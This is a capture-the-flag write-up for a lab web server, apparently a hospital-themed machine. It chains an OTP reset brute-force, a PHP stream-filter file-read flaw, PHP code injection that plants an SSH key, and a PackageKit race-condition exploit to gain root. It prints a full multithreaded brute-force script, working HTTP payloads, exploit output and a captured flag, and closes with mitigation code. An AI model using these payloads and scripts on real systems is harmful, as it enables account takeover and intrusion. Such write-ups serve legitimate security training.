Target Information
- IP Address: 172.16.1.125 (emergency.hc)
- Difficulty: Medium
- Tags: Web, PHP LFI, OTP Brute-force, Privilege Escalation
Reconnaissance
Port Scanning
Initial enumeration with nmap:
nmap -sC -sV -p- --min-rate 500 -vvv -oA nmap emergency.hcResults:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.x
80/tcp open http Apache/PHP
Web Enumeration
Password Reset Flow — OTP Discovery
The /forgot-password.php endpoint issued a 4-digit numeric OTP (0000–9999) per reset request. No rate limiting and no account lockout were enforced.
Endpoint: /forgot-password.php
Request:
POST /forgot-password.php HTTP/1.1
Host: emergency.hc
Content-Type: application/x-www-form-urlencoded
email=dr.henrique%40emergency.hcResponse:
HTTP/1.1 200 OK
Content-Type: text/html
OTP sent to dr.henrique@emergency.hcFile Download Endpoint — LFI via PHP Stream Filter
/download.php concatenated path and arq parameters directly into a file path with no sanitization, allowing PHP stream wrappers.
Endpoint: /download.php
Request:
GET /download.php?path=php://filter/convert.base64-encode/resource=&arq=download.php HTTP/1.1
Host: emergency.hc
User-Agent: Mozilla/5.0Response:
HTTP/1.1 200 OK
Content-Type: application/octet-stream
PD9waHAKcmVxdWlyZSBfX0RJUl9f... (base64-encoded PHP source)Exploitation: OTP Brute-Force → Admin Takeover
Multithreaded OTP Attack
Target had no rate limiting on the 4-digit code space (10,000 possibilities). Script spawned 20 threads; each triggered a fresh OTP for dr.henrique@emergency.hc then sequentially probed all codes within the same session.
Command:
python3 ctf_attack.pyResult:
[HIT t3] code=XXXX token=<signed_reset_token>
[+] token=<signed_reset_token>
Post new password: 200
New password set → authenticated as administrator.
Web Enumeration (Post-Auth)
PHP Source Enumeration via Stream Filter
Using the LFI primitive, decoded PHP sources revealed the internal write path:
Files leaked:
# /Save_Parameters.php
GET /download.php?path=php://filter/convert.base64-encode/resource=&arq=Save_Parameters.php
# /announcement.php
GET /download.php?path=php://filter/convert.base64-encode/resource=&arq=announcement.phpFindings:
/Save_Parameters.php— writesobsPOST field verbatim intoannouncement.phpannouncement.php— executed on every page load aswww-data- App config revealed
/home/hsantamaria/.ssh/bind-mounted from host into container www-datahad write access to the bind-mounted SSH directory
Exploitation: PHP Injection → SSH Key Injection
PHP Write Primitive
With the bind mount confirmed, Save_Parameters.php became the escalation path — any PHP written to announcement.php would execute as www-data inside the container and affect the host's SSH authorized_keys.
Payload:
POST /Save_Parameters.php HTTP/1.1
Host: emergency.hc
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded
tipo=s&obs=<?php file_put_contents("/home/hsantamaria/.ssh/authorized_keys", "<id_rsa.pub>\n", FILE_APPEND); ?>Result:
Announcement updated successfully. (836 bytes written)
Triggering Execution
curl -s http://emergency.hc/announcement.php -b "PHPSESSID=<session>"
# (empty response — PHP ran cleanly, key injected)Shell
ssh -i ~/.ssh/id_rsa hsantamaria@emergency.hcResult:
[+] Got shell as hsantamaria
uid=1001(hsantamaria) gid=1001(hsantamaria) groups=1001(hsantamaria)Post-Exploitation
Environment Enumeration
id
cat ~/uS3R.txt
ls -la ~/.ssh/
uname -aFindings:
- User flag at
~/uS3R.txt - Host is Ubuntu with PackageKit installed
- CVE-2026-41651 (PackageKit TOCTOU) applicable
Privilege Escalation: CVE-2026-41651 (PackageKit TOCTOU)
Enumeration
PackageKit's InstallFiles D-Bus method had a TOCTOU race between SIMULATE and the real install. Two transactions dispatched back-to-back allowed swapping the package after simulation but before dpkg validation, causing PackageKit (root) to install an attacker-controlled payload.
dpkg -l packagekit
# packagekit 1.x.x installedExploitation
Upload precompiled exploit via Penelope:
(Penelope)─(Session [1])> upload cve-2026-41651
[+] Upload OK /tmp/cve-2026-41651Execute:
chmod +x /tmp/cve-2026-41651 && /tmp/cve-2026-41651Result:
[*] Transaction : /2_ceaddadc
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[+] SUCCESS — SUID bash at t+2000ms
uid=1001(hsantamaria) euid=0(root)
.suid_bash-5.2# whoami
rootROOT OBTAINED!
Attack Chain Summary
1. OTP brute-force on /forgot-password.php (no rate limit, 4-digit code)
↓
2. Admin session obtained → access to authenticated endpoints
↓
3. PHP stream filter LFI on /download.php → source enumeration → bind mount discovered
↓
4. PHP write primitive via /Save_Parameters.php → SSH key injected into host via bind mount
↓
5. SSH shell as hsantamaria → user flag
↓
6. CVE-2026-41651 PackageKit TOCTOU → SUID bash → root
Vulnerabilities Summary
| Vulnerability | CWE | Severity | Impact |
|---|---|---|---|
| OTP brute-force (no rate limiting) | CWE-307 | High | Admin account takeover |
| PHP stream filter LFI | CWE-22 | High | Arbitrary PHP source disclosure, bind mount discovery |
| Unsanitized PHP write to executed file | CWE-94 | Critical | RCE as www-data, SSH key injection |
| CVE-2026-41651 PackageKit TOCTOU | CWE-367 | High | Local privilege escalation to root |
Mitigation Recommendations
Application Level
- Rate-limit OTP validation:
- Max 5 attempts per OTP, lockout after threshold, OTP expiry ≤ 5 min
// Example: enforce attempt count in session
if ($_SESSION['otp_attempts'] >= 5) {
http_response_code(429);
die('Too many attempts');
}- Sanitize file path parameters:
- Allowlist filenames, strip wrappers, never concatenate user input into
include/file_get_contents
- Allowlist filenames, strip wrappers, never concatenate user input into
$allowed = ['report.pdf', 'manual.pdf'];
if (!in_array($arq, $allowed, true)) {
http_response_code(400);
die('Invalid file');
}- Never write user input into executed PHP files:
- Store announcements in a database, render via template; never
file_put_contentsinto.php
- Store announcements in a database, render via template; never
// BAD
file_put_contents('announcement.php', "<?php echo '$obs'; ?>");
// GOOD
$stmt = $pdo->prepare("UPDATE announcements SET content = ?");
$stmt->execute([$obs]);System Level
- Remove host→container bind mounts of sensitive directories:
- Never mount
~/.sshfrom host into a container running untrusted web code
- Never mount
# Remove from docker-compose.yml
# volumes:
# - /home/hsantamaria/.ssh:/home/hsantamaria/.ssh- Patch PackageKit:
- Update to version not affected by CVE-2026-41651
apt-get update && apt-get upgrade packagekitTools Used
- Nmap - Port scanning and service enumeration
- Python Requests - OTP brute-force script
- Penelope - Interactive reverse shell handler / file upload
- cve-2026-41651 - PackageKit TOCTOU LPE exploit
Proof of Concept Scripts
OTP Brute-Force (ctf_attack.py)
#!/usr/bin/env python3
import requests
import threading
TARGET = "http://emergency.hc"
EMAIL = "dr.henrique@emergency.hc"
FOUND = threading.Event()
TOKEN = [None]
def attack(thread_id):
s = requests.Session()
s.post(f"{TARGET}/forgot-password.php", data={"email": EMAIL})
for code in range(10000):
if FOUND.is_set():
return
r = s.post(f"{TARGET}/verify-otp.php", data={"otp": f"{code:04d}"}, allow_redirects=False)
if r.status_code == 302 and "token=" in r.headers.get("Location", ""):
FOUND.set()
TOKEN[0] = r.headers["Location"].split("token=")[1]
print(f"[HIT t{thread_id}] code={code:04d} token={TOKEN[0]}")
return
threads = [threading.Thread(target=attack, args=(i,)) for i in range(20)]
for t in threads: t.start()
for t in threads: t.join()
if TOKEN[0]:
r = requests.post(f"{TARGET}/reset-password.php",
data={"token": TOKEN[0], "password": "pwned123!"})
print(f"Post new password: {r.status_code}")Flags
User Flag: /home/hsantamaria/uS3R.txt → hackingclub{fb508754f24e6cb74f11de3772352896}
Root Flag: /root/root.txt
References
CWE References:
- CWE-307: Improper Restriction of Excessive Authentication Attempts
- CWE-22: Improper Limitation of a Pathname
- CWE-94: Improper Control of Generation of Code
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition
Author: cbxcvl Date: 2026-05-01 Machine: Emergency (Hospital Santa Maria)